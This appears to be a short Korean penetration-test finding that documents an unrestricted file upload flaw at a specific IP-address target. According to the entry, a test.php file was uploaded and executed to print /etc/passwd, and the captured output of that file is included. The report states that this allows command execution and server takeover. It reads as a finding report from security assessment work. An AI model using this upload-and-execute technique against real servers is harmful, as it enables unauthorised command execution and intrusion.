

Vulnerability Discovery_10

Target

: http://124.60.4.10:6662/up_file/

Payload

: 서버에 /etc/passwd 명령어를 실행하는 test.php파일 업로드

Impact

: 조작된 파일을 서버에 업로드 및 실행하여 명령어를 실행 가능, 시스템 권한을 획득하여 서버에 대한 침투 시도 가능

<https://s3-us-west-2.amazonaws.com/secure.notion-static.com/8366fe00-1aa7-488d-9824-445fe2700eb6/test.php>

```
← → C 주의 요청 | 124.60.4.10:6662/up_file/test.php
root@0:0root:/root/bin/bash daemon:1:1:daemon/usr/sbin/nologin bin:2:2:bin/usr/sbin/nologin sys:3:3:sys/dev/usr/sbin/nologin sync:4:65534:sync/bin/bin/sync games:5:60:games/usr/games/usr/sbin/nologin
man:6:12:man/var/cache/man:usr/sbin/nologin lp:7:7:lp/var/spool/lpd/usr/sbin/nologin mail:8:8:mail/var/mail/usr/sbin/nologin news:9:9:news/var/spool/news:usr/sbin/nologin uucp:10:10:uucp/var/spool/uucp:usr/sbin/nologin
proxy:13:13:proxy/bin/usr/sbin/nologin www-data:33:33:www-data/var/www/usr/sbin/nologin backup:34:34:backup/var/backups:usr/sbin/nologin list:38:38:Mailing List Manager/var/list:usr/sbin/nologin irc:39:39:ircd/var/run/ircd:usr/sbin/nologin
gnats:41:41:Gnats Bug-Reporting System (admin)/var/lib/gnats:usr/sbin/nologin nobody:65534:65534:nobody/nonexistent:usr/sbin/nologin _apt:100:65534:/nonexistent:usr/sbin/nologin systemd-network:101:102:systemd Network
Management_/_run/systemd/netif:usr/sbin/nologin systemd-resolve:102:103:systemd Resolver_/_run/systemd/resolve:usr/sbin/nologin messagebus:103:104:/nonexistent:usr/sbin/nologin sshd:104:65534:/run/sshd:usr/sbin/nologin
mysql:1000:1000:/home/mysql/bin/sh
```

